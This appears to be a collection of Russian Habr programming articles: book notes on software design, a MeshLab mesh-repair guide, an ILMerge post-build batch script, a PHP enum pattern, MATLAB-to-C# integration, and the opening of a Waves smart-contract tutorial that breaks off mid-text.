Работа с исключениями
---------------------
Здесь под исключением понимаются не только exception которые выкидываются в коде. Это любые ситуации, которые вызывают необычное поведение системы. Когда что-то происходит не так, как задумывалось.
Исключения добавляют сложность в интерфейсе потому что:
* одни исключения порождают новые
* их нужно обрабатывать
* исключения могут быть не обнаружены, потому что они появляются редко
* обработка исключений сама может породить новое исключение
Исключение — это тоже часть интерфейса. Чем больше исключений у интерфейса, тем он сложнее.
Нужно стремиться скрыть исключение как можно раньше, не перекладывая это на пользователя.
Способы скрыть исключение:
1. Игнорировать исключение. Принять его за нормальное поведение.
2. Обработать внутри модуля, не выбрасывая его внаружу.
3. Обработать множество исключений в одном обработчике, прокидывая через несколько уровней вверх и обработав в одном месте.
4. Просто прервать программу с ошибкой, когда обрабатывать её бесполезно.
Не нужно стараться прятать ошибку внутри модуля всегда. Иногда бывает важно знать о случившейся ошибке внешнему модулю.
Проектируй дважды
-----------------
Не стоит реализовывать первую пришедшую идею. Стоит рассмотреть несколько вариантов. Это позволит сэкономить время на переписывании кода.
Вначале стоит подумать про интерфейс. Не стоит рассматривать все плюсы и минусы каждого, достаточно ключевых. Важно подумать об абсолютно разных вариантах, которые принципиально отличаются друг от друга. В процессе размышления может родиться новый, который будет сочетать плюсы обоих.
Стоит подумать о том:
* какой из них проще
* является ли вариант более переиспользуемым
* будет ли реализация более производительной
Если для использования рассматриваемого варианта потребуется доработка верхнеуровневого класса, то это признак того, чтобы отказаться от него.
Рассмотрение вариантов не должно отнимать много времени, в среднем 1-2 часа. Чем более важный и крупным модуль мы хотим разрабатывать, тем больше времени на обдумывание мы можем потратить.
Зачем писать комментарии
------------------------
Для начала рассмотрим популярные аргументы того, почему не стоит писать код и опровергнем их:
1. Хороший код — самодокументируемый. Этот подход ошибочный, потому что:
* В коде нельзя дать высокоуровневое описание того, что делает метод или причину того, или иного решения в реализации.
* Если пытаться упростить реализацию для легкого понимания, то придется разбивать модуль так, что это может усложнить его интерфейс.
* Если пользователь читает всю реализацию, то ему приходится читать не только важную информацию, но и не важную, из-за чего теряется смысл в абстракции.
* Некоторые нюансы передаваемых аргументов и свойств нельзя описать в коде.
2. Нет времени писать комментарии. Отсутствие комментариев вынудит потратить дополнительное время на понимание кода в будущем, из-за чего оно будет потрачено в ещё большем объеме.
3. Комментарии устаревают и вводят в заблуждение. На самом деле поддержка правильно написанных комментариев не занимает много времени. Это потребуется только если происходят большие изменения в коде.
Главная идея в написании комментариев — записать важные мысли разработчика, которые нельзя описать в коде. Это позволит избежать ошибок, на которые попадется разработчик после него. Будут понятны намерения автора. Также это понизит когнитивную сложность.
Как писать комментарии
----------------------
Разработчик должен понять что делает модуль не читая код. Если он может написать правильный комментарий к коду не читая его, значит комментарий к модулю не нужен.
Я просто перечислю ряд важных советов которые дает автор.
Хороший прием — использовать другие слова в комментарии чем в коде.
Описывая переменные, думайте существительными, а не глаголами.
Если комментарии интерфейса вынуждают описывать реализацию, то значит класс или метод слишком сложный. Скорее всего у вас неправильная абстракция кода.
Цель комментариев в реализации — дать понимание, что делает код (не как он это делает). Они нужны только для больших и сложных реализаций. Для простой реализации комментарий не нужен. Если разработчик поймет, что делает код, ему будет гораздо легче понять сам код.
Также бывает так, что общая логика размазана по нескольким модулям, например отправка и получение http запроса. Комментировать это трудно, поскольку дублировать комментарии нежелательно.
Для таких случаев лучше завести общий файл с заметками, и писать комментарий туда. Но будет одна проблема — комментарии находятся далеко от кода. При изменении кода, будет сложнее поддерживать комментарии.
Комментарии лучше писать вначале
--------------------------------
Какие выгоды это дает:
1. В процессе написания кода вы можете ориентироваться на написанные комментарии.
2. Комментарии становятся инструментом проектирования дизайна кода. Если вы замечаете, что для интерфейса слишком длинный комментарий, скорее всего ваш интерфейс слишком сложный и лучше придумать что-то попроще.
3. Раннее комментирование позволяет сформировать хороший дизайн и абстракцию ещё до написания кода.
Именование переменных
---------------------
Именование — это одна из форм документирования.
Правильное именование позволяет:
* легче находить ошибки
* уменьшает сложность
* уменьшает необходимость в комментариях
Имя должно быть:
* Не слишком общим, например count. Если трудно подобрать полноценное имя, то это признак того, что вы делаете что-то не так. Возможно переменная имеет слишком много назначений. Лучше разбить её на несколько.
* Консистентным, т.е. такое имя должно использоваться в других местах с таким же назначением, и не использоваться другое имя для такого же назначения.
Консистентность кода
--------------------
Консистентность — означает, что похожие вещи сделаны похожим образом, а непохожие — по другому. В чем может проявляться консистентность:
* наименованиях
* стиле кода
* интерфейсе
* в паттернах (например MVC улучшает консистентность)
Консистентность дает:
* Быстрое понимание того как работает код, если вы уже знакомы с похожими местами.
* Уменьшает ошибки. Если похожие места сделаны по разному, то разработчику легче ошибиться, подумав, что здесь также.
Консистентность легко могут нарушить новички в команде, поскольку они не знакомы со всеми договоренностями. Этого можно избежать при помощи:
* Документации
* Линтеров и других инструментов, не позволяющих пушить код, не соответствующий принятым стандартам.
* При изменении кода смотреть, как сделано сейчас.
Старайтесь не менять существующие договоренности, ценность от консистентности может быть выше, чем улучшения, которые предлагается ввести. Перед вводом неконсистентности дайте ответ на 2 вопроса:
1. Старый подход не позволяет добиться нужного результата?
2. Новый подход настолько лучше, что хуже тратить время на поддержку старого и все в команде с этим согласны?
Если ответ на любой вопрос “да”, то тогда можно нарушить консистентность.
Тренды в разработке ПО
----------------------
### Наследование в ООП
Автор рекомендует с осторожностью использовать наследование, поскольку это создает зависимость дочернего класса от родительского. Лучше стараться избегать её и по возможности использовать хелперы и композицию. Если все же использовали наследование, то постарайтесь сделать их менее зависимыми.
### Agile
Автор отмечает, что создание дизайна кода также инкрементально как развитие проекта в Agile. Постоянно происходит улучшение и рефакторинг кода. Нет лучшего решения навсегда.
Проблема в том, что agile часто вынуждает прибегать к тактическому программированию, требуя фокусироваться на фичах, а не на абстракциях.
### Unit тесты
В отличие от интеграционных тестов, за unit тесты отвечают разработчики. Интеграционные лучше отдавать отдельной QA команде.
Unit тесты хороши тем, что позволяют не бояться рефакторить код, если они имеют хорошее покрытие.
### TDD
Проблема TDD в том, что она вынуждает концентрироваться на поиске способа реализации, а не нахождении лучшей абстракции.
Лучше всего он подходит на исправлении багов. Сначала мы пишем тест на баг, убеждаемся, что тест не проходит, а потом чиним его.
### Паттерны
Основная их проблема в том, что их применяют тогда, когда лучше обойтись более простым решением.
Хороши они тем, что позволяют соблюсти консистентность.
### Геттеры и сеттеры
Их лучше избегать, потому что они делают доступ, даже к приватным свойства, публичным. А публичные методы в любом случае усложняют интерфейс.
Заключение от меня
------------------
Я привел краткие заметки только по тем темам, которые показались важными для меня. В книге автор разбирает каждую тему очень подробно и приводит множество примеров.
Кроме того, в книге очень много красных флагов. Это такие ситуации, заметив которые, вы должны насторожиться и задуматься над дизайном. Это делает книгу очень полезной для практического применения во время работы.
Если вы читали эту книгу, напишите в комментарии, что для вас было самым полезным, если я упустил это в статье. Если вы поняли некоторые темы по другому или с чем-то не согласны, я буду рад это обсудить. | https://habr.com/ru/post/517436/ | null | ru | null |
# Хитрости работы с MeshLab: устранение ошибок в 3D моделях
MeshLab является довольно популярной программой для манипуляции и визуализации трехмерных моделей, предоставляющий широкий набор инструментов. Он среди прочего предоставляет возможности по восстановлению и устранению проблем и ошибок в 3D моделях. О некоторых таких возможностях я бы хотел рассказать в статье. Кого заинтересовало, прошу под кат.
Довольно популярной проблемой при работе с 3D моделями является возникновение отверстий (holes, gaps). Такие проблемы возникают из-за несовершенной процедуры реконструкции сцены или недостаточной точности и качества 3D камер типа Microsoft Kinect.
Мы можем восстановить поврежденные поверхности моделей и закрыть дыры в программе Meshlab. Meshlab включает специальный фильтр для задачи закрытия отверстий в 3D моделях.
В начале откроем Meshlab и импортируем модель: File > Import Mesh.
Здесь показан пример модели с отверстием:
Применим фильтр. Откроем в верхнем меню Filters > Remeshing, Simplification … > Close Holes
Откроется диалог настройки параметров:
Введем значение для параметра Max size to be closed и нажмем Apply. В моем случае хороший результат дало значение 210.
Результат применения фильтра:
Выглядит неплохо, не правда ли?
Как мы видим не нужно писать специальный скрипт для закрытия отверстий. Все работает "из коробки".
#### Решение проблемы с дубликат вершины в модели
После применения фильтра Close Holes при экспорте модели в obj файл могут возникнуть вершины-дубликаты, т.е. вершины с одинаковыми координатами. Это может привести к некорректной обработке модели при использовании библиотек типа [OpenMesh](https://pypi.org/project/openmesh/).
Давайте создадим obj файл со следующим содержимым:
`v 0 0 0
v 1 0 0
v 0 1 0
v 1 1 0
f 0 1 2
f 1 2 3`
Создадим скрипт test\_duplicates.py с использованием библиотеки OpenMesh (туториалы по ней можно посмотреть [здесь](https://www.graphics.rwth-aachen.de/media/openmesh_static/Documentations/OpenMesh-6.2-Documentation/a00036.html))
```
import openmesh as om
import numpy as np
mesh_3 = om.read_trimesh('duplicate_vert_test.obj')
print('Test duplicate vertices')
for i, vh in enumerate(mesh_3.vertices()):
print('Vertices adjacent to vertex ', i)
for vh_n in mesh_3.vv(vh):
print(vh_n.idx())
```
Запустим его
```
Vertices adjacent to vertex 0
2
1
Vertices adjacent to vertex 1
0
2
Vertices adjacent to vertex 2
1
0
Vertices adjacent to vertex 3
Vertices adjacent to vertex 4
```
Добавим дубликат вершины
`v 0 0 0
v 1 0 0
v 0 1 0
v 1 1 0
v 1 0 0
f 0 1 2
f 4 2 3`
Здесь мы добавили еще одну вершину с координатами 1 0 0.
Запустим скрипт еще раз
```
Vertices adjacent to vertex 0
Vertices adjacent to vertex 1
3
2
Vertices adjacent to vertex 2
1
3
Vertices adjacent to vertex 3
2
1
Vertices adjacent to vertex 4
```
Сейчас мы видим, что для вершины 0 нет соседних вершин, зато для вершины 3 появились две соседние вершины 2 и 1. Кажется, что вершина 4 перетянула к себе всех соседей вершины 0, с которой имеет одинаковые координаты.
Попробуем удалить дубликаты вершин на модели из примера выше. Импортируем модель:
Здесь мы видим множество цветных граней.
Применим специальный фильтр для удаления дубликатов вершин
Filters -> Cleaning and Repairing -> Remove duplicate Vertices
Результат применения фильтра:
Если мы применим фильтр на нашей первоначальной простой модели после экспорта модели мы получим obj файл следующего содержания
`vn 0.000000 -nan(ind) 0.000000
v 0.000000 0.000000 0.000000
vn 0.000000 0.000000 -0.785398
v 1.000000 0.000000 0.000000
vn 0.000000 0.000000 -0.785398
v 0.000000 1.000000 0.000000
vn 0.000000 0.000000 -1.570796
v 1.000000 1.000000 0.000000
# 4 vertices, 0 vertices normals
f 4//4 2//2 3//3
# 1 faces, 0 coords texture`
На этом все. Удачи в использовании MeshLab для манипуляции с 3D моделями и до новых встреч. | https://habr.com/ru/post/541842/ | null | ru | null |
# Собрать проект Visual Studio в один файл с помощью ILMerge
Обычно результатом компиляции проекта является сборка (assembly) проекта, а также его зависимости (Referenced Assemblies). Однако иногда нужно чтобы результатом был один файл единственный файл, независимый от других сборок. Например простая утилита, которую можно будет куда угодно скопировать и она будет работать.
##### Пример
Условно говоря после:
```
compile App\App.csproj
dir App\bin\Release
```
Получаются:
```
App.exe
dep1.dll
dep2.dll
```
Нам же нужно лишь один самодостаточный
```
App.exe
```
То есть содержащий в себе `dep1.dll` и `dep2.dll`
На Хабре уже присутствует [решение](http://habrahabr.ru/blogs/personal/67836/) со встраиванием зависимостей в ресурсы, здесь я покажу как это сделать с помощью [ILMerge](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=17630) и Post Build Event в Visual Studio.
##### Исходники
* github: [github.com/gzvulon/ILMerge-Example](https://github.com/gzvulon/ILMerge-Example)
* Solution archive: [github.com/gzvulon/ILMerge-Example/zipball/v1.0.0](https://github.com/gzvulon/ILMerge-Example/zipball/v1.0.0)
* bat file: [github.com/gzvulon/ILMerge-Example/blob/master/ILMerge/merge\_all.bat](https://github.com/gzvulon/ILMerge-Example/blob/master/ILMerge/merge_all.bat)
##### Инструменты
[ILMerge](http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx) — Программа от Microsoft Research, которая собственно и обладает требуемой функциональностью.
[merge\_all.bat](https://github.com/gzvulon/ILMerge-Example/blob/master/ILMerge/merge_all.bat) — им мы воспользуемся в Post-build event.
##### Подготовка
Скачать и установить [ILMerge](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=17630).
Положить `%PROGRAMFILES%\ILMerge\ILMerge.exe` в папку `${SolutionDir}ILMerge\`
Там же создать файл **merge\_all.bat**
Добавить строчку в [Project->Properties->Build Events->Post-build event]:
`"$(SolutionDir)\ILMerge\merge_all.bat" "$(SolutionDir)" "$(TargetPath)" $(ConfigurationName)`
##### Содержание merge\_all.bat
Все сборки из $output будут сливаться в одну. Если конфигурация Debug то в $output\Output, если Release то в результате в $output будет только один файл. Информация как прошло слияние и какие были проблемы пишется в Visual Studio Output. Комментарии объясняют, что происходит внутри. Например в данном случае происходит выбор платформы .NET 4.
```
@ECHO OFF
rem # set .NET version and output folder name
set net="v4, C:\Windows\Microsoft.NET\Framework\v4.0.30319"
set output=Output
rem # process arguments
set ILMergeSolution=%1ILMerge\ILMerge.exe
rem # determine programm files of x86 for 32 and 64 Platform
IF EXIST "%PROGRAMFILES(x86)%" set prorgammFiles=%PROGRAMFILES(x86)%
IF NOT EXIST "%PROGRAMFILES(x86)%" set prorgammFiles=%PROGRAMFILES%
rem # if ILMerge.exe not in the $(SolutionDir)ILMerge\
rem # then try to use installed in prorgammFiles
IF EXIST %ILMergeSolution% set ILMerge="%ILMergeSolution%"
IF NOT EXIST %ILMergeSolution% set ILMerge=%prorgammFiles%\Microsoft\ILMerge\ILMerge.exe
set target_path=%2
set target_file=%~nx2
set target_dir=%~dp2
set ConfigurationName=%3
rem # set output path and result file path
set outdir=%target_dir%%output%
set result=%outdir%\%target_file%
rem # print info
@echo Start %ConfigurationName% Merging %target_file%.
@echo Target: %target_path%
@echo target_dir: %target_dir%
@echo Config: %ConfigurationName%
rem # recreate outdir
IF EXIST "%outdir%" rmdir /S /Q "%outdir%"
md "%outdir%"
rem # run merge cmd
@echo Merging: '"%ILMerge%" /wildcards /targetplatform:%net% /out:"%result%" %target_path% "%target_dir%*.dll"'
"%ILMerge%" /wildcards /targetplatform:%net% /out:"%result%" %target_path% "%target_dir%*.dll"
rem # if succeded
IF %ErrorLevel% EQU 0 (
rem # clear real output folder and put there result assembly
IF %ConfigurationName%==Release (
del %target_dir%*.*
del %target_dir%*.dll
del %target_dir%*.pdb
del %target_dir%*.xml
del %target_dir%*.*
copy %result% %target_dir%
rmdir /S /Q %outdir%
set result=%target_path%
@echo Result: %target_file% "-> %target_path%"
) ELSE (
@echo Result: %target_file% "-> %result%" )
set status=succeded
set errlvl=0
) ELSE (
set status=failed
set errlvl=1
)
@echo Merge %status%
exit %errlvl%
```
**UPD:**
##### Лицензия
С сайта [ILMerge](http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx):
***Commercial use permitted:**
The language of ILMerge's license has raised many questions. In a nutshell: commercial use is permitted, redistribution is not. Read the license carefully for full details since I am not (nor do I wish to be!) a lawyer.*
То есть встраивать в процесс сборки можно, а распространять со своим продуктом — нельзя.
Открытым остался вопрос про лиценции объединяемых dll.
##### Минусы
* [beliakov](http://habrahabr.ru/blogs/net/126089/#comment_4152754): ILMerge память жрет как бегемот… На большом количестве сборок
* [braindamaged](http://habrahabr.ru/blogs/net/126089/#comment_4152159): игнорирует ключик, который заставляет её, в свою очередь, игнорировать сборки и неймспейсы, оказавшиеся в зависимостях.
##### Схожие инструменты
* [aspnet\_merge](http://msdn.microsoft.com/en-us/library/bb397866.aspx) Для ASP.NET
* [NGen](http://msdn.microsoft.com/en-us/library/6t9t5wcf(v=vs.71).aspx) Создает локальный кэш с dll
##### Материалы по теме
* Встраивание в ресурсы — [habrahabr.ru/blogs/personal/67836](http://habrahabr.ru/blogs/personal/67836/)
* As Visual Studio Project Target — [http://www.hanselman.com/blog/MixingLanguag...](http://www.hanselman.com/blog/MixingLanguagesInASingleAssemblyInVisualStudioSeamlesslyWithILMergeAndMSBuild.aspx)
* Eще Target — <http://blogs.clariusconsulting.net/kzu/how-to-merge-your-referenced-assemblies-into-the-output-assembly-for-improved-usability/>
* Best practices — [stackoverflow.com/questions/9376/ilmerge-best-practices](http://stackoverflow.com/questions/9376/ilmerge-best-practices)
* Simplest .bat — [peyotest.blogspot.com/2010/03/using-ilmerge-in-post-build-step.html](http://peyotest.blogspot.com/2010/03/using-ilmerge-in-post-build-step.html)
* Advanced .bat — [www.tanguay.info/web2008/codeExample.php?id=671](http://www.tanguay.info/web2008/codeExample.php?id=671) | https://habr.com/ru/post/126089/ | null | ru | null |
# Перечисления в PHP
Часто ли вам приходилось сожалеть о том, что в PHP нет [перечислений](http://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D1%87%D0%B8%D1%81%D0%BB%D0%B8%D0%BC%D1%8B%D0%B9_%D1%82%D0%B8%D0%BF) как таковых?
Да, кто-то обходился конвенцией именования и получалось нечто вроде:
```
define( 'COLOR_RED', 'F00' );
define( 'COLOR_GREEN', '0F0' );
define( 'COLOR_BLUE', '00F' );
```
Или нечто вроде:
```
// данную переменную ЗАПРЕЩЕНО модифицировать
$colors = array(
'red' => 'F00',
'green' => '0F0',
'blue' => '00F',
);
```
Но оба подхода имеют существенные недостатки:
* В первом случае члены перечисления не образуют явной группировки
* Во втором случае есть риск что переменная будет изменена
* И в обоих этих случаях мы не можем делать проверку на тип переменной (type hinting)
Под катом предлагаю решение без вышеописанных недостатков…
```
abstract class Enum {
private $current_val;
final public function __construct( $type ) {
$class_name = get_class( $this );
$type = strtoupper( $type );
if ( constant( "{$class_name}::{$type}" ) === NULL ) {
throw new Enum_Exception( 'Свойства '.$type.' в перечислении '.$class_name.' не найдено.' );
}
$this->current_val = constant( "{$class_name}::{$type}" );
}
final public function __toString() {
return $this->current_val;
}
}
class Enum_Exception extends Exception {}
```
Это базовый класс для перечислений. При работе нам надо будет только подключить его и в дальнейшем можно о нем забыть.
Ну а что бы реализовать сами перечисления, нам необходимо написать подобную структуру:
```
class Enum_Colors extends Enum {
const RED = 'F00';
const GREEN = '0F0';
const BLUE = '00F';
}
```
И теперь что бы обращаться к константному значению и использовать type hinting нам надо создать объект из данного класса, передав в конструктор имя необходимой константы:
```
function setColor( Enum_Colors $color ) {
echo $color;
}
setColor( new Enum_Colors( 'GREEN' ) ); // will pass
setColor( '0F0' ); // won't pass
Enum_Colors::RED == new Enum_Colors( 'GREEN' ); // FALSE
Enum_Colors::RED == new Enum_Colors( 'RED' ); // TRUE
```
З.Ы. А вот когда выйдет релиз PHP5.3, то можно будет добавить к класс Enum метод:
`public static method asArray() {}`
который будет возвращать все пары: ключ-значение
[оригинал](http://blog.azazel.org.ua/2008/07/%d0%bf%d0%b5%d1%80%d0%b5%d1%87%d0%b8%d1%81%d0%bb%d0%b5%d0%bd%d0%b8%d1%8f-%d0%b2-php/trackback/) | https://habr.com/ru/post/38584/ | null | ru | null |
# Интегрируем MATLAB в С#.NET
#### Вступление
В этой статье я постараюсь максимально полно и пошагово рассказать, как связать MATLAB с С#.NET и сделать приложение с интерфейсом на примере построения 3D-плоскости.
#### Зачем это нужно?
Очень часто перед программистом встает задача вычисления сложной математики. MATLAB в свою очередь является отличным средством для решения, но слаб в создании полноценного пользовательского приложения (можно воспользоваться инструментами GUI MATLAB'a, но это меня не устроило).
#### Инструменты
1. Microsoft Visual Studio 2008 SP1
2. MATLAB 2010a
3. MATLAB Component Runtime
#### Шаг 1. Настройка линкера
Чтобы собрать dll-библиотеку MATLAB'а для интеграции в C#.NET, нужно настроить линкер, т.е. какой средой мы будем собирать проект. Для начала нужно установить среду выполнения MCR (MATLAB Component Runtime). Это набор dll-библиотек для полной поддержки языка MATLAB. Установочный файл можно найти: ...\MATLAB\R2011b\toolbox\compiler\deploy\win32\MCRInstaller. Установка типовая, жмем next.
Для настройки линкера в командном окне MATLAB'а набираем `mbuild -setup`. Со всем соглашаемся и выбираем нужную нам среду, в нашем случае это MVS 2008 SP1. Получаем что-то похожее:
`Please choose your compiler for building standalone MATLAB applications:
Would you like mbuild to locate installed compilers [y]/n? y
Select a compiler:
[1] Lcc-win32 C 2.4.1 in C:\PROGRA~1\MATLAB\R2010a\sys\lcc
[2] Microsoft Visual C++ 2008 SP1 in C:\Program Files\Microsoft Visual Studio 9.0
[0] None
Compiler: 2
Please verify your choices:
Compiler: Microsoft Visual C++ 2008 SP1
Location: C:\Program Files\Microsoft Visual Studio 9.0
Are these correct [y]/n? y`
Получаем радостное `Done`. Все — линкер настроен.
#### Шаг 2. Пишем m-функцию
Напишем функцию построения 3D-плоскости в заданных граничных условиях, для большего интереса вернем дескриптор функции.
`function res=plane(strfunc,vx0,vx1,vy0,vy1,h)
vx=vx0:h:vx1;
vy=vy0:h:vy1;
figure(1)
res=ezsurfc(strfunc,vx,vy);
end`
Как видно функция состоит из шести строчек кода, однако выполняет все вышеуказанные действия: в качестве входных параметров принимает символьную функцию (`strfunc`), начальные и конечные значения векторов границ плоскости (v`x0,vx1,vy0,vy1`), шаг сетки (`h`) и возвращает дескриптор (`res`).
Сохраняем данный код как plane.m.
**Важно:** компилятор MATLAB'а понимает только функции т.е., каждый сценарий должен начинаться с `function` (желательно заканчиваться `end`) и быть отдельным m-файлом.
#### Шаг 3. Получаем динамическую библиотеку
Набираем в командном окне MATLAB'a `deploytool`. Создаем новый .NET Assembly проект MATLABplane, указываем размещение.
Далее создаем класс planeClass, добавляем в него plane.m и нажимаем кнопку build
После успешной компиляции создается интересующая нас библиотека MATLABplane.dll, находиться она будет здесь: ...MATLABplane\distrib\MATLABplane.dll.
#### Шаг 4. Создаем приложение C#.NET
В MVS 2008 SP1 создаем приложение Windows Forms на С#.
###### Добавляем ссылки на библиотеки
Перед использованием методов проекта, необходимо добавить ссылки на скомпилированную библиотеку MATLABplane.dll и на библиотеку MWArray.dll, найти ее можно по адресу ...\MATLAB\R2010a\toolbox\dotnetbuilder\bin\win32\v2.0. После добавления должно получиться:
Для использования библиотек в проекте необходимо добавить описание пространства имен:
`using MathWorks.MATLAB.NET.Utility;
using MathWorks.MATLAB.NET.Arrays;
using MATLABplane;`
###### Создаем форму
С помощью панели инструментов в конструкторе создаем форму будущего приложения.
Для создания формы были использованы следующие блоки: Label, TextBox, RichBox, Button.
###### Пишем код
Для взаимодействия языков программирования C# и MATLAB создан соответствующий типу MATLAB тип данных MWArray C#. MWArray — это массив массивов, он может состоять из переменных, скаляров, векторов, матриц, строк, структур, объектов и т.д. Для получения каких-либо значений из MWArray нужно использовать приведение типов.
Алгоритм работы приложения должен быть следующим:
1. Получение функции в символьном виде и значений с текстовых полей
2. Вызов метода plane из класса planeClass
3. Получение выходного массива descriptor (тип MWNumericArray)
4. Вывод массива descriptor в RichBox
Ниже представлен полный код с комментариями:
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using MathWorks.MATLAB.NET.Utility;
using MathWorks.MATLAB.NET.Arrays;
using MATLABplane;
namespace planeApp
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
button1.Click += new EventHandler(button1_Click);//инициализация событий
button2.Click += new EventHandler(button2_Click);
}
double x0, x1, y0, y1, h; //объявление переменых
string func, s_x0, s_x1, s_y0, s_y1, s_h;
MWArray[] res = null; //выходной массив метода plane
MWNumericArray descriptor = null; //массив возвращаемого параметра
private void button1_Click(object sender, EventArgs e)//событие
{
try
{
func = textBox1.Text; //считывание с TextBox
s_x0 = textBox2.Text;
s_x1 = textBox3.Text;
s_y0 = textBox4.Text;
s_y1 = textBox5.Text;
s_h = textBox6.Text;
MWCharArray mw_func = new MWCharArray(func);//преобразование строки функции в тип MWCharArray
x0 = Convert.ToDouble(s_x0); //преобразоване string в double
x1 = Convert.ToDouble(s_x1);
y0 = Convert.ToDouble(s_y0);
y1 = Convert.ToDouble(s_y1);
h = Convert.ToDouble(s_h);
planeClass obj_plane = new planeClass(); //экземпляр класса компонента
res = obj_plane.plane(1, mw_func, x0, x1, y0, y1, h);//обращение к методу plane, первый параметр - это кол-во возвращаемых аргументов
descriptor = (MWNumericArray)res[0]; //выбор первого элемента из массива MWArray и преобразование в числовой тип MWNumericArray
double[,] d_descriptor = (double[,])descriptor.ToArray(MWArrayComponent.Real);//преобразование массива MWNUmericArray к масииву типа double
for (int i = 0; i < d_descriptor.Length; i++)//вывод массива d_descriptor в RichBox
{
richTextBox1.Text += i.ToString() + '\t';
richTextBox1.Text += d_descriptor[i, 0].ToString("0.000") + '\n';//преобразование элеметна массива double в string
}
}
catch (Exception ex)//обработка исключения
{
System.Windows.Forms.MessageBox.Show(ex.Message);
}
}
private void button2_Click(object sender, EventArgs e)
{
richTextBox1.Text = string.Empty;//очистка RichBox
res = null;//обнуление массивов
descriptor = null;
}
}
}
```
Как видим, активно используется приведение типов, по схеме MWArray->MWNUmericArray->тип C#.
Компилируем проект и видим результат:
#### Литература
1. MATLAB. Программирование на Visual С#, Borland JBuilder, VBA — Н. К. Смоленцев
2. С# и платформа .NET — Э. Троелсен | https://habr.com/ru/post/132487/ | null | ru | null |
# Учимся писать Waves смарт-контракты на RIDE и RIDE4DAPPS. Часть 1 (Многопользовательский кошелек)
Всем привет!
Совсем недавно Waves Labs [анонсировал](https://medium.com/waves-lab/waves-announces-funding-for-ride-for-dapps-developers-f724095fdbe1) конкурс для разработчиков приуроченный к релизу в тестовую сеть расширения языка смарт-контрактов RIDE для децентрализованных приложений Ride4Dapps!
Мы выбрали кейс DAO, так как [Ventuary](https://ventuary.com/) планирует заниматься разработкой dApp с социальными функциями: голосованием, фандрейзингом, доверительным управлением и пр.
Мы начали работу с простого примера в [Q&A-сессии](https://www.youtube.com/watch?v=k7gK7FgUFiU) и в [RIDE IDE](https://ide.wavesplatform.com/) — примере с [общим кошельком](https://docs.wavesplatform.com/en/smart-contracts/ride4dapps/examples.html).
Давайте разберем данный пример, проверим гипотезы и рассмотрим некоторые странности:
Пусть у нас есть Alice — dApp Owner
Boob и Cooper — партнеры Alice, сооснователи Alice-BC DAO
Neli — владелец бизнеса, которой нужно финансирование
Bank — банк, раздающий токены
#### Этап 1. Инициализация балансов
Для того, что в тестовой сети waves получить токены, нужно обратиться к [faucet](https://wavesexplorer.com/testnet/faucet) и указать адрес на который отправить токены.
Адрес можно узнать в IDE, раскрыв данные аккаунта.
Выделяем Bank 10 WAVES. После проверяем, что они поступили через обозреватель блоков и транзакций: [обозреватель](https://wavesexplorer.com/testnet/address/3Myb8niQ7KYYoJgvbLeyMTYfF2bU9yhjNNi)
Теперь давайте раздадим токены из банка остальным участникам. (Notes: Все транзакции в сети waves не бесплатны, поэтому необходим минимальный положительный баланс у всех участников, чтобы совершать транзакции).
> 1 WAVES = 100000000 единиц (wavelets), так как amounts могут быть только integer
>
> 0.01 WAVES (Transaction Fee) = 1000000
Bank -> [3 WAVES] -> Alice, через TransferTransaction (Type: 4).
Проверяем, что env.SEED, от которого подписываются транзакции соответствует нашему Bank:

Если у вас нет соответствия seed фраз, просто переключитесь в него во вкладке Accounts и проверьте еще раз.
После этого создаем, анонсируем и подписываем транзакцию о передаче 3 WAVES Alice.
Узнать данные Алисы можно также через переменную env.accounts. Нумерация начинается с 0, соотвественно Алиса это env.accounts[1].
```
broadcast(transfer({recipient:address(env.accounts[1]), amount: 300000000, fee: 1000000}))
```
Результат можно также наблюдать в обозревателе, ссылка на него нам возвратится сразу после исполнения [транзакции](https://wavesexplorer.com/testnet/tx/EcSKyqaoNnAYWXGLaHjFH5WHwbzF3Pc7B4dxHgfaf1B9).
Убеждаемся, что баланс Alice пополнен на 3 WAVES, а на балансе банка осталось 10 — 3 — 0.01 = 0.699.
Отправляем Boob и Cooper по 3 WAVES, а Neli, Xena и Mark по 0.2 WAVES тем же способом.
(Notes: Мы допустили ошибку на один знак и отправили Neli 0.02 WAVES. Будьте внимательны!)
```
broadcast(transfer({recipient:address(env.accounts[4]), amount: 20000000, fee: 1000000}))
```
После пополнения балансов всех участников мы видим:
#### Этап 2. Создание dApp аккаунта
Мы договорились, что создателем и оунером децентрализованного приложения будет Alice.
В Accounts переходим устанавливаем ее, как SEED и проверяем env.SEED соответствует Alice.
Попробуем установить на аккаунт Alice самый простой скрипт (контракт) из возможных.
Смарт-контакты в Waves — это предикаты, которые запрещают или позволяют выполниться какому либо типу исходящей транзакции при определенных условиях. В данном случае это условие — ALWAYS. Код контракта — true. Вызываем deploy().
Fee за setScript транзакцию 1400000/100000000 = 0.014 WAVES. У Алисы на балансе осталось 2.986 WAVES.
Попробуем сейчас установить на аккаунт Alice более сложную логику смарт-контракта, описанную в [примере](https://docs.wavesplatform.com/en/smart-contracts/ride4dapps/examples.html)
> **Ride4Dapps** теперь включает 2 новых типа аннотаций:
>
> 1. **@Callable(i)** — принимает в качестве параметра i, данные о том, какой аккаунт вызвал/подписал транзакцию. Именно результат этой функции определяет изменение состояния dApp аккаунта. Другие аккаунты могут создавать транзакции и исполнять функции с этой аннотацией и менять состояние dApp аккаунта.
> 2. **@Verifier(tx)** — Верификатор транзакции с параметром tx транзакции. Соответствует логики предикатов из RIDE. Именно в этом выражении можно разрешить или запретить дальнейшие изменения логики смарт-контрактов на dApp аккаунте.
>
> **Будьте внимательны!** Важный момент заключается в том, что по-умолчанию скрипт на аккаунте не равен **true**, а использует сравнение подписи и позволяет только обладателю подписи совершать транзакции.
>
>
> ```
> sigVerify(tx.bodyBytes, tx.proofs[0], tx.senderPk)
> ```
>
>
>
>
> **Без такой проверки, кто угодно может совершать транзакции с аккаунта!**
>
>
>
>
Давайте сделаем **dApp** аккаунт как общий кошелек для всех участников.
